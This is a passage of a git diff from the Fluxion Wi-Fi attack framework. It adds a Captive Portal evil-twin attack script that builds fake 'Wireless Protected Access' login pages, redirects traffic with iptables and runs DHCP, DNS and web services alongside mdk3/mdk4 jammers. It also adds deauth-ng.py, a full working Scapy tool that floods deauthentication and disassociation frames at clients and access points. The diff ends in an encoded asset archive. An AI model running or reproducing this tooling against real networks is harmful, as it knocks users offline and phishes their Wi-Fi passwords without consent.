"$FLUXIONWorkspacePath/file.zip" + + echo "\ + + + + + + + Wireless Protected Access: Verifying + + + + + + + + + + + +
+
+

$DIALOG_WEB_OK

+
+
+ +" >"$FLUXIONWorkspacePath/captive_portal/final.html" + + echo "\ + + + + + + + Wireless Protected Access: Key Mismatch + + + + + + + + + + + + + +
+
+

$DIALOG_WEB_ERROR

+ $DIALOG_WEB_BACK +
+
+ +" >"$FLUXIONWorkspacePath/captive_portal/error.html" + + echo "\ + + + + + + + Wireless Protected Access: Login + + + + + + + + + + + + + +
+
+
+
+
+
+
$FluxionTargetSSID ($FluxionTargetMAC)
+ +
+
+
+ +
+
+
+ + +
+ +
+
+
+
+ + + + + +" >"$FLUXIONWorkspacePath/captive_portal/index.html" + +if [ $FLUXIONEnable5GHZ -eq 1 ];then + cp -r "$FLUXIONPath/attacks/Captive Portal/deauth-ng.py" "$FLUXIONWorkspacePath/captive_portal/deauth-ng.py" + chmod +x "$FLUXIONWorkspacePath/captive_portal/deauth-ng.py" +fi + +} + +captive_portal_unset_routes() { + if [ -f "$FLUXIONIPTablesBackup" ]; then + iptables-restore <"$FLUXIONIPTablesBackup" \ + &> $FLUXIONOutputDevice + else + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + fi + + # Restore system's original forwarding state + if [ -f "$FLUXIONWorkspacePath/ip_forward" ]; then + sysctl -w net.ipv4.ip_forward=$( + cat "$FLUXIONWorkspacePath/ip_forward" + ) &> $FLUXIONOutputDevice + sandbox_remove_workfile "$FLUXIONWorkspacePath/ip_forward" + fi + + ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null +} + +# Set up DHCP / WEB server +# Set up DHCP / WEB server +captive_portal_set_routes() { + # Give an address to the gateway interface in the rogue network. + # This makes the interface accessible from the rogue network. + ip addr add $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface + + # Save the system's routing state to restore later. + cp "/proc/sys/net/ipv4/ip_forward" "$FLUXIONWorkspacePath/ip_forward" + + # Activate system IPV4 packet routing/forwarding. + sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice + + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + iptables -P FORWARD ACCEPT + + iptables -A INPUT -p tcp --dport 443 -j ACCEPT + iptables -A INPUT -p tcp --dport 80 -j ACCEPT + iptables -A INPUT -p udp --dport 53 -j ACCEPT + iptables -A INPUT -p udp --dport 67 -j ACCEPT + + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT \ + --to-destination $CaptivePortalGatewayAddress:80 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \ + --to-destination $CaptivePortalGatewayAddress:443 + iptables -t nat -A POSTROUTING -j MASQUERADE +} + +captive_portal_stop_interface() { + captive_portal_unset_routes + + if [ "$CaptivePortalAPService" ]; then + ap_service_stop + fi +} + +captive_portal_start_interface() { + if [ "$CaptivePortalAPService" ]; then + echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice" + ap_service_start + else + fluxion_header + + echo -e "$FLUXIONVLine Configuration for external access point device:" + echo + + fluxion_target_show + + echo -e "$FLUXIONVLine IPv4 Address: ${CaptivePortalGatewayAddress%.*}.2/24" + echo -e "$FLUXIONVLine IPv6 Address: Disabled" + echo -e "$FLUXIONVLine DHCP Server: $CaptivePortalGatewayAddress" + echo -e "$FLUXIONVLine DNS Server: $CaptivePortalGatewayAddress" + echo + + echo -e "$FLUXIONVLine ${CYel}Assure external AP device is available & configured before continuing!${CClr}" + read -n1 -p "Press any key to continue... " bullshit + fi + + echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice" + captive_portal_set_routes & + sleep 3 + + fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice + fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice +} + + +# ============================================================ # +# =================== < Parse Parameters > =================== # +# ============================================================ # +if [ ! "$CaptivePortalCLIArguments" ]; then + if ! CaptivePortalCLIArguments=$( + getopt --options="a:j:s:c:u:h:" \ + --longoptions="ap:,jammer:,ssl:,connectivity:,ui:,hash:" \ + --name="Captive Portal V$FLUXIONVersion.$FLUXIONRevision" -- "$@" + ); then + echo -e "${CRed}Aborted$CClr, parameter error detected..." + sleep 5 + fluxion_handle_exit + fi + + declare -r CaptivePortalCLIArguments=$CaptivePortalCLIArguments + + eval set -- "$CaptivePortalCLIArguments" # Set environment parameters. +fi + + +# ============================================================ # +# ============= < Argument Loaded Configurables > ============ # +# ============================================================ # +while [ "$1" != "" -a "$1" != "--" ]; do + case "$1" in + -a|--ap) + CaptivePortalAccessPointInterfaceOriginal=$2; shift;; + -j|--jammer) + CaptivePortalJammerInterfaceOriginal=$2; shift;; + -s|--ssl) + CaptivePortalSSLCertificatePath=$2; shift;; + -c|--connectivity) + CaptivePortalConnectivity=$2; shift;; + -u|--ui) + CaptivePortalUserInterface=$2; shift;; + -h|--hash) + # Assuming hash auth-mode here (the only one available as of now). + # WARNING: If more auth-modes are added, assume hash auth-mode here! + CaptivePortalHashPath=$2; shift;; + esac + shift # Shift new parameters +done + + +# ============================================================ # +# ===================== < Fluxion Hooks > ==================== # +# ============================================================ # +attack_targetting_interfaces() { + interface_list_wireless + local interface + for interface in "${InterfaceListWireless[@]}"; do + echo "$interface" + done +} + +attack_tracking_interfaces() { + interface_list_wireless + local interface + for interface in "${InterfaceListWireless[@]}"; do + echo "$interface" + done + echo "" # This enables the Skip option. +} + +unprep_attack() { + CaptivePortalState="Not Ready" + + captive_portal_unset_attack + captive_portal_unset_user_interface + captive_portal_unset_connectivity + captive_portal_unset_certificate + captive_portal_unset_authenticator + captive_portal_unset_ap_interface + captive_portal_unset_jammer_interface +} + +prep_attack() { + local sequence=( + "set_jammer_interface" + "set_ap_interface" + "set_ap_service" + "set_authenticator" + "set_certificate" + "set_connectivity" + "set_user_interface" + "set_attack" + ) + + if ! fluxion_do_sequence captive_portal sequence[@]; then + return 1 + fi + + CaptivePortalState="Ready" +} + +load_attack() { + local -r configurationPath=$1 + + local configuration + readarray -t configuration < <(more "$configurationPath") + + CaptivePortalJammerInterfaceOriginal=${configuration[0]} + CaptivePortalAccessPointInterfaceOriginal=${configuration[1]} + CaptivePortalAPService=${configuration[2]} + CaptivePortalAuthenticatorMode=${configuration[3]} + CaptivePortalSSL=${configuration[4]} + CaptivePortalConnectivity=${configuration[5]} + CaptivePortalUserInterface=${configuration[6]} + + # Hash authenticator mode configuration. + CaptivePortalHashPath=${configuration[7]} + + # Target hash information for verification. + local -r targetHashSSID=${configuration[8]} + local -r targetHashMAC=${configuration[9]} + + # Assure hash is relevant for fluxion's current target. + # If the hash is no longer relevant, clear to force reset. + if [ \ + "$targetHashSSID" != "$FluxionTargetSSID" -o \ + "$targetHashMAC" != "$FluxionTargetMAC" ]; then + CaptivePortalHashPath="" + fi +} + +save_attack() { + local -r configurationPath=$1 + + # Store/overwrite attack configuration for pause & resume. + # Order: JammerWI, APWI, APServ, AuthMode, SSL, Conn, UI + echo "$CaptivePortalJammerInterfaceOriginal" > "$configurationPath" + echo "$CaptivePortalAccessPointInterfaceOriginal" >> "$configurationPath" + echo "$CaptivePortalAPService" >> "$configurationPath" + echo "$CaptivePortalAuthenticatorMode" >> "$configurationPath" + echo "$CaptivePortalSSL" >> "$configurationPath" + echo "$CaptivePortalConnectivity" >> "$configurationPath" + echo "$CaptivePortalUserInterface" >> "$configurationPath" + + # Hash authenticator mode configuration. + echo "$CaptivePortalHashPath" >> "$configurationPath" + + # Target to verify validity of hash on restore. + echo "$FluxionTargetSSID" >> "$configurationPath" + echo "$FluxionTargetMAC" >> "$configurationPath" +} + +stop_attack() { + # Attempt to find PIDs of any running authenticators. + local authenticatorPID=$(ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}') + + # Signal any authenticator to stop authentication loop. + if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi + + if [ "$CaptivePortalJammerServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalJammerServiceXtermPID \ + 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice + CaptivePortalJammerServiceXtermPID="" # Clear parent PID + fi + sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" + + # Kill captive portal web server log viewer. + if [ "$CaptivePortalWebServiceXtermPID" ]; then + kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice + CaptivePortalWebServiceXtermPID="" # Clear service PID + fi + + # Kill captive portal web server. + if [ "$CaptivePortalWebServicePID" ]; then + kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice + CaptivePortalWebServicePID="" # Clear service PID + fi + + # Kill python DNS service if one is found. + if [ "$CaptivePortalDNSServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalDNSServiceXtermPID \ + 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice + CaptivePortalDNSServiceXtermPID="" # Clear parent PID + fi + + # Kill DHCP service. + if [ "$CaptivePortalDHCPServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID \ + 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice + CaptivePortalDHCPServiceXtermPID="" # Clear parent PID + fi + sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt" + + captive_portal_stop_interface + + # Start the network-manager if it's disabled. + if systemctl status network-manager.service &> /dev/null; then + if [ ! -x "$(command -v systemctl)" ]; then + if [ -x "$(command -v service)" ];then + service network-manager.service + fi + systemctl stop network-manager.service + fi + fi + CaptivePortalState="Stopped" +} + +start_attack() { + if [ "$CaptivePortalState" = "Running" ]; then return 0; fi + if [ "$CaptivePortalState" != "Ready" ]; then return 1; fi + CaptivePortalState="Running" + + stop_attack + + if systemctl status network-manager.service &> /dev/null; then + if [ ! -x "$(command -v systemctl)" ]; then + if [ -x "$(command -v service)" ];then + service network-manager.service stop + fi + systemctl stop network-manager.service + fi + fi + + if systemctl status systemd-resolved &> /dev/null; then + if [ ! -x "$(command -v systemctl)" ]; then + if [ -x "$(command -v service)" ];then + service systemd-resolved stop + fi + systemctl stop systemd-resolved.service + fi + fi + + captive_portal_start_interface + + + echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice" + xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" \ + -title "FLUXION AP DHCP Service" -e \ + "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $CaptivePortalAccessInterface 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" & + # Save parent's pid, to get to child later. + CaptivePortalDHCPServiceXtermPID=$! + + echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" + xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" \ + -title "FLUXION AP DNS Service" -e \ + "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & + # Save parent's pid, to get to child later. + CaptivePortalDNSServiceXtermPID=$! + + echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" + lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" \ + &> $FLUXIONOutputDevice + CaptivePortalWebServicePID=$! + + xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" \ + -title "FLUXION Web Service" -e \ + "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" & + CaptivePortalWebServiceXtermPID=$! + + echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" + echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst" + + if [ $FLUXIONEnable5GHZ -eq 1 ]; then + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ + -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ + "./$FLUXIONWorkspacePath/captive_portal/deauth-ng.py -i $CaptivePortalJammerInterface -f 5 -c $FluxionTargetChannel -a $FluxionTargetMAC" & + # Save parent's pid, to get to child later. + CaptivePortalJammerServiceXtermPID=$! + else + + if ! [ -x "$(command -v mdk4)" ];then + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ + -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ + "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + # Save parent's pid, to get to child later. + CaptivePortalJammerServiceXtermPID=$! + + else + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ + -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ + "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + # Save parent's pid, to get to child later. + CaptivePortalJammerServiceXtermPID=$! + fi + + fi + + echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" + xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" \ + -title "FLUXION AP Authenticator" \ + -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & + +} + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/deauth-ng.py b/attacks/Captive Portal/deauth-ng.py new file mode 100755 index 0000000..bd07d61 --- /dev/null +++ b/attacks/Captive Portal/deauth-ng.py @@ -0,0 +1,463 @@ +#!/usr/bin/env python2 +# -*- coding: UTF-8 -*- + +from scapy.all import * + +import os +import sys +import time +import argparse + +import pyric.pyw as pyw + +from threading import Thread, Lock +from signal import SIGINT, signal + +conf.verb = 0 # Silences scapy + +# Console Colors +W = '\033[0m\033[1m' # white (normal) +R = '\033[1m\033[31m' # red +G = '\033[1m\033[32m' # green +O = '\033[1m\033[33m' # orange +B = '\033[1m\033[34m' # blue +P = '\033[1m\033[35m' # purple +C = '\033[1m\033[36m' # cyan +GR = '\033[1m\033[37m' # gray +T = '\033[1m\033[93m' # tan + +five_hertz = [ + 36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, + 112, 116, 132, 136, 140, 149, 153, 157, 161, 165] + +# devnull = open(os.devnull, 'w') +threadLock = Lock() + +class wifijammer: + + def __init__(self, args): + self.mPackets = 0 + + self.clients = [] + self.APs = [] + + self.firstPass = True + + self.mIgnoreList = [ + 'ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', + '01:80:c2:00:00:00', '01:00:5e:', '01:00:0c'] + \ + [pyw.macget(pyw.getcard(x)) for x in pyw.winterfaces()] + \ + [x for x in args['skip'] if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", x.lower())] + + # Args + self.mInterface = args["interface"] + self.mFrequency = args["frequency"] + self.mChannels = args["channel"] + self.mKill = args["kill"] + self.mDirected = args["directed"] + self.mTargets = [x for x in args['targets'] if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", x.lower())] + self.mMaximum = int(args["maximum"]) + self.mPackets = int(args["pkts"]) + self.mTimeout = float(args["timeout"]) + self.mChannel = pyw.chget(pyw.getcard(self.mInterface)) + self.mDetailed = args['details'] + self.mLoglevel = args['loglevel'] + self.mSSID = args['ssid'] + + LogLevels={'info': logging.INFO, 'error': logging.ERROR, 'debug': logging.DEBUG, 'critical': logging.CRITICAL} + logging.basicConfig( + level=LogLevels[self.mLoglevel], + format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', + datefmt='%Y/%m/%d %H:%M:%S') + + if self.mFrequency == "2": + self.mChannels = [int(x) for x in self.mChannels if int(x) in range(1, 12)] + + if self.mChannels == []: + self.mChannels = list(range(1, 12)) + + elif self.mFrequency == "5": + self.mChannels = [int(x) for x in self.mChannels if int(x) in five_hertz] + + if self.mChannels == []: + self.mChannels = five_hertz + + else: + self.mChannels = [int(x) for x in self.mChannels if int(x) in range(1, 12) or int(x) in five_hertz] + + if self.mChannels == []: + self.mChannels = list(range(1, 12)) + five_hertz + + if pyw.modeget(self.mInterface) != 'monitor': + logging.debug('Enabling monitor mode on interface '+self.mInterface) + start_mon_mode(self.mInterface) + + if self.mKill: + os.system('pkill NetworkManager') + + conf.iface = self.mInterface + + return + + def jam(self): + self.hop = Thread(target=self.channel_hop) + self.hop.daemon = True + self.hop.start() + + signal(SIGINT, stop) + + filter_string = "" + + if len(self.mTargets) > 1: + filter_string = "ether host "+self.mTargets[0] + for client in self.mTargets[1:]: + filter_string += " or ether host " + client + + elif len(self.mTargets) == 1: + filter_string = "ether host " + self.mTargets[0].lower() + + + sniff(iface=self.mInterface, filter=filter_string, store=0, prn=self.cb) + + def channel_hop(self): + interface = pyw.getcard(self.mInterface) + channelCounter = 0 + + while 1: + if len(self.mChannels) == 1: + with threadLock: + self.mChannel = self.mChannels[0] + try: + pyw.chset(interface, int(self.mChannel), None) + except: + sys.stderr.write("Channel Hopping Failed") + else: + + with threadLock: + self.mChannel = str(self.mChannels[channelCounter]) + + channelCounter +=1 + + if channelCounter == len(self.mChannels): + channelCounter = 0 + with threadLock: + self.firstPass = False + + try: + pyw.chset(interface, int(self.mChannel), None) + except: + sys.stderr.write("Channel Hopping Failed") + + self.output() + + if len(self.mChannels) == 1: + time.sleep(.1) + + else: + if self.firstPass == 1: + time.sleep(3.5) + continue + + self.deauth() + + def output(self): + if self.mLoglevel != 'debug': + os.system('clear') + + print( + "[{0}+{1}] {2} channel {0}{3}{1}".format( + G, + W, + self.mInterface, + str(self.mChannel) + ) + ) + + if self.mDetailed: + with threadLock: + print('\n Deauthing ch ESSID') + for ca in self.clients: + if len(ca) > 3: + print( + "[{0}*{1}] {2}{3}{1} - {2}{4}{1} - {5} - {0}{6}{1}".format( + C, + W, + P, + ca[0], + ca[1], + str(ca[2]).ljust(4), + ca[3] + ) + ) + else: + print( + "[{0}*{1}] {2}{3}{1} - {2}{4}{1} - {5}".format( + C, + W, + P, + ca[0], + ca[1], + str(ca[2]).ljust(4) + ) + ) + + + with threadLock: + print('\n Access Points ch ESSID') + for ap in self.APs: + print( + "[{0}*{1}] {2}{3}{1} - {4} - {0}{5}{1} - {2}{6}{1}".format( + C, + W, + P, + ap[0], + str(ap[1]).ljust(5), + ap[2][:22].ljust(25), + str(len([x[0] for x in self.clients if x[0].lower() == ap[0].lower()])) + ) + ) + return + + def deauth(self): + pkts = [] + # print(len(self.clients), len(self.APs)) + + if len(self.clients) > 0: + with threadLock: + for x in self.clients: + client = x[0] + ap = x[1] + ch = x[2] + # print(str(ch)+":"+str(self.mChannel)) + if int(ch) == int(self.mChannel): + deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth() + deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth() + disas_pkt1 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Disas() + disas_pkt2 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Disas() + pkts.append(deauth_pkt1) + pkts.append(deauth_pkt2) + + pkts.append(disas_pkt1) + pkts.append(disas_pkt2) + + if len(self.APs) > 0: + if not self.mDirected: + with threadLock: + for a in self.APs: + ap = a[0] + ch = a[1] + # print(str(ch)+":"+str(self.mChannel)) + if int(ch) == int(self.mChannel): + deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth() + pkts.append(deauth_ap) + + if len(pkts) > 0: + for p in pkts: + # print("Deauth") + send(p, inter=float(self.mTimeout), count=self.mPackets) + + def noise_filter(self, addr1, addr2): + if len([y for y in self.mIgnoreList if addr1.startswith(y) or addr2.startswith(y)]) > 0: + return True + return False + + def cb(self, pkt): + if pkt.haslayer(Dot11): + if pkt.addr1 and pkt.addr2: + pkt.addr1 = pkt.addr1.lower() + pkt.addr2 = pkt.addr2.lower() + + if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): + self.APs_add(pkt) + + # Ignore all the noisy packets like spanning tree + + if self.noise_filter(pkt.addr1, pkt.addr2): + return + + # Management = 1, data = 2 + if pkt.type in [1, 2]: + self.clients_add(pkt.addr1, pkt.addr2) + return + + def APs_add(self, pkt): + ssid = get_ssid(pkt[Dot11Elt].info) + bssid = pkt.addr3.lower() + + try: + # Thanks to airoscapy for below + if int(self.mChannel) < 14: + ap_channel = str(ord(pkt[Dot11Elt:3].info)) + else: + dot11elt = pkt.getlayer(Dot11Elt, ID=61) + + + ap_channel = ord(dot11elt.info[-int(dot11elt.len):-int(dot11elt.len)+1]) + except: + ap_channel = self.mChannel + + # print(ap_channel, self.mChannels, self.mChannel, ap_channel) + + if int(ap_channel) not in self.mChannels: + return + + if self.mSSID and ssid != self.mSSID: + return + + # except Exception as e: + # return + + for ap in self.APs: + if bssid == ap[0]: + return + + with threadLock: + return self.APs.append([bssid, ap_channel, ssid]) + + def clients_add(self, addr1, addr2): + if len(self.clients) == 0: + if len(self.APs) == 0: + with threadLock: + return self.clients.append([addr1, addr2, self.mChannel]) + else: + self.AP_check(addr1, addr2) + + # Append new clients/APs if they're not in the list + else: + for ca in self.clients: + if addr1 in ca and addr2 in ca: + return + + if len(self.APs) > 0: + return self.AP_check(addr1, addr2) + else: + with threadLock: + return self.clients.append([addr1, addr2, self.mChannel]) + + def AP_check(self, addr1, addr2): + for ap in self.APs: + if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower(): + with threadLock: + return self.clients.append([addr1, addr2, ap[1], ap[2]]) + +def stop(signal=None, frame=None): + sys.exit('\r['+R+'!'+W+'] Closing') + +def parse_args(): + # Args to add: + # No update? + # Multiple interfaces? + # Disas for disassociation + + # Features: + # Timer and packet count in top bar + + parser = argparse.ArgumentParser() + + parser.add_argument("-i", "--interface", + action="store", + dest="interface", + help="select an interface", + choices=[x for x in pyw.winterfaces()], + required=True) + + parser.add_argument("-f", "--frequency", + action="store", + default="2", + dest="frequency", + help="select a frequency (2/5/all)", + choices=["2", "5", "all"]) + + parser.add_argument("-c", "--channel", + action="store", + default=[], + dest="channel", + nargs="*", + help="select a channel") + + parser.add_argument("-k", "--kill", + action="store_true", + dest="kill", + help="sudo kill interfering processes.") + + parser.add_argument("-m", "--maximum", + default=9999, + dest="maximum", + help="Maximum length of client list before it is reset") + + parser.add_argument("-t", "--timeinterval", + dest="timeout", + default=0.001, + help="Time between deauth pkts") + + parser.add_argument("-p", "--pkts", + default="5", + dest="pkts", + help="Choose the number of pkts to send in each deauth burst.") + + parser.add_argument("-d", "--directedonly", + default=False, + dest="directed", + action='store_true', + help="Only send targeted client based deauths",) + + parser.add_argument("-a", "--accesspoint", + nargs='*', + default=[], + dest="targets", + help="Enter the SSID or MAC address of a specific access point[s] to target") + + parser.add_argument("-s", "--skip", + nargs='*', + default=[], + dest="skip", + help="Skip deauthing this MAC address") + + parser.add_argument("-D", "--details", + default=False, + dest="details", + action='store_true', + help="Detailed print out like default wifijammer") + + parser.add_argument("-l", "--loglevel", + default='info', + dest="loglevel", + help="Logging level") + + parser.add_argument("-S", "--ssid", + dest='ssid', + help='SSID Filter', + ) + + return vars(parser.parse_args()) + +def get_ssid(p): + if p and u"\x00" not in "".join([x if ord(x) < 128 else "" for x in p]): + + try: + name = p.decode("utf-8") # Remove assholes emojis in SSID's + except: + name = unicode(p, errors='ignore') + + else: + name = (("< len: {0} >").format(len(p))) + + return name + +def start_mon_mode(interface): + print ('Starting monitor mode off') + try: + os.system('ip link set %s down' % interface) + os.system('iwconfig %s mode monitor' % interface) + os.system('ip link set %s up' % interface) + return interface + except Exception: + sys.exit('Could not start monitor mode') + +def main(): + jammer = wifijammer(parse_args()) + jammer.jam() + return + +if __name__ == "__main__": + main() diff --git a/attacks/Captive Portal/generic/assets b/attacks/Captive Portal/generic/assets new file mode 100644 index 0000000..245c097 --- /dev/null +++ b/attacks/Captive Portal/generic/assets @@ -0,0 +1,2217 @@ +UEsDBAoAAAAAAEQCTUkAAAAAAAAAAAAAAAAEAAAAY3NzL1BLAwQUAAAACACyuUxJ8qGcyENfAABp +KgMAHwAAAGNzcy9qcXVlcnkubW9iaWxlLTEuNC41Lm1pbi5jc3PsXeuTGzdy/35/he6qturu4hnj +/VAeVTZlma6ik0utb1PJlxTFpZe8Gy11yxVlXZL/PegHMOBqtaQku8pcwfJyAAwGz+nfNLobjS// ++Nsnf/n318ubt0++37xYD8snsje9ffK/T75d3z6ZfvPVs9V8u3r6xIWltUv/5J/+5YkS0nRSdFr+ +IP1TrZ9q8V8p/+8Xf4Bb4gvMkAt9vnl9fTm/XW+uv3jy3fWiTxn/8je4029urr4c1ovl9Xb55I9f +/uY3/et1t15srrv5ArI/nf94u7z5nxfzxV+vbqCQbv1yfrV8+vpm+P3vUonzpxj/cru7+oefXg7/ +uFjNb7bL23/+83n31fnku+++ONOTM/083TpTYre82a4312f62ZlSshfpN6Uurxeby/X1FSWvt5su +BBs7CXf18zP9TSrit8/+bfLDf/7pm5Q91ZR+//Tnr2ffTVIg5erO1PP0/3/oCQWe/ZAKEucX36Zf +2UtK/OZfqbb0u7q9fXWmv6L0N2/e9G80DEOKfHszf7VaL7YpiI8/p8exwOepYin7y9tLKAhbRU25 +0ytJ9awvKWE2f7u8+W9OTMNwvaX09zdCCSGour2HvvppWF//9dDDMsaYLpSXHqdHxKufKP72Tjz9 +/2Z9ebvi9pucvlqur1a3d1N36+Wbrze5zJQAf9LwD+TY3r4dlnR/eT1/MSy78eVJbb5evuGn6if1 +16WvKc/21XzBRby6WW6XN7tlGfNX89vVfi0/rocBB0M/x/9KYTwD36cBmdidHmxnZhAWO70QcO1s ++fUTB7nSX6yvf0/FfC/T7E2kmqoLu5KD6tRU7KRcSX3hhy5VNFEXUv0d6+TXladPf/O7P/zfSFDD +8ua20VOjp1OnJw9UMxNIFCtpZhhHSoGQlItO9NZqpC2Zwsb4dJVbDkGeTi5KHojDFe5yWJ57vou0 +R8WWGkIKTBxnTxEk3fwAhi/sQoyNOL7aHZWXy8rXwG0IRxD5zc3mTXfZDY3QG6H/ugh9M7y9SqOt +BBH4M7iDNE4lvNqsr2+3udlnaqKhBkmkInRviSCo/onhK7WjhBxmkwLz1cRyVWjm6nNMeBArbhpW +NKw4XawQFTTwl1UIxg9f44EpeLEfMg0rjsWKhhQNKU4WKSKx0SIySNjq6qkFePV76OAbOhyJDm3N +0dDhdNHBg7yNqV/chwaehHLQgirQFhrHwkNbZjR4OHGRhK/wIeOFqK6xgomCGw0djkGH1419aPhw +6vggZZFBosCSJJNQeX2Vo0DTUS7ZsOLDsKLxEg0rThwrBEskRRFT6qLdQBzRo3qjxgqTEaRhxVFY +0ZCiIcXJIsVdYYStrlhzrAO+ySw/AB5eX643DRw+N3DohQwfBRDw4MeDxPj0B5tG3Y8S2RgKlg6m +WBExQzExHEfhxM6QuSFbE+1ZHMHfSg6oBr0QM7AmNFMydUpshzZozrQQnexdTC9tL4zqdC+t6VRv +jUvh4PzM9THgo71D4yjfp3ccqu4lykFCbyVGYxhj/jxnC32I0LJcTOy1mqWbyOlABZBC6lsBdVOA +GhegYXWCx8bHPABp4P0sZZJYWm+Dgwam3F5BlakXActTvcxdULJO8NvUbWMjjaqELlunsTdGmiG1 +T0Uq2sWF6r3wKb8KGvNbn7JHZXMEegh66XOpckd6jT2umrtn5XUY3T4/6AZKa8j9uSH34zNkxUVf +Ql3EcMZgu0CsZkvSfNVbtBI39LtTJRMZliZgmUjN+B8gPxuR68MWoy8SXTRiasR06sSERLSSat/C +uivcTie3oy14J6eyMEKKM6uKadLnNUuFZRNThHzKFOQz5flCqNXz/hDL9UA7cUFXSpO6siyn6seW +SDHdN3fftzeHIfywus9LdWRUS6EjUOT1MCxvG5A0IHkUX2WzCsfiiC2LLcVooSrk0Oemitm7OAIS +3fK841yueuIQjoSfC0bsB8NI+AgUEQjT6mHofbeu7Z3SuXDF91Up2X0iLu9XNFH1ANbjNw4f9uyB +sTvUGVwM7g3WkYi7mA/L68t504Q1yP1VQu7DYit408NKXbipuAhISbqkaE5xJcVxSiwpkVOkykmr +TnEaadBSWkyF8749PabpnObGNMdpuRJOjpxM1VAi1CPlWJFZqR1syb2QZqyJE3VOdFWiy4mxSow5 +UTKoibyDsP7YbO+iy9Tcl+1cne1DrJyKXeKNzUVie1UTLx0QLy3mL5c384arDVdPfk2sSMQ9jX0U +AbgUJRzgRQAexFsHaNEbETq56jTcd1YRF5NyMorISHkQR9QiRSQZLnSUIUSHIRwkh/xVyQI36Rb9 +rRKvVG5CQleydAkHHfGsuteR2FTOqtAAIvdm3OqdegLtcRbZu06nsDYmXTWpLCwxbtqkFCgXfsVW +50QWlGlivGIvLWsUbC49b/4WVa22tw8MwsP9f3/ngXGNwFZy3wNntKURtrfHcIU389u2T6uB16/W +6OEY/NozlpJ9NBFRwQBFsEJRg/ZMqF7Y6lYiKOFJ02hV3swhE2REx1pYX908kpiaXXIjpkdDTIJo +YZKpStjekdr8jAwN8S6RlQi98UBemayEJDqb+OomU9Wx1NTkFY2aHgs18WcHyUUiSWibySPfA0Kz +SGdW1eSSv0oTX90shHYkMTXj1kZMj4WYmIgm+SPErBp+nQRT0Xgz83L8FSJG7y4XmG8epqbVMlsU +fbG6fTk8gTsvbq/hgvdebH7qNnejjfga8T0S4it+cGRW+Nle4A4U18foeTdK3p4CNp6mj45kNBRB +g0epyIKT7NP1UaQ3bJoxX6OkU9RhodBxonups0QP/uq43+aYz39b35W0zp+jfXNWVGOBo3RTLTrV 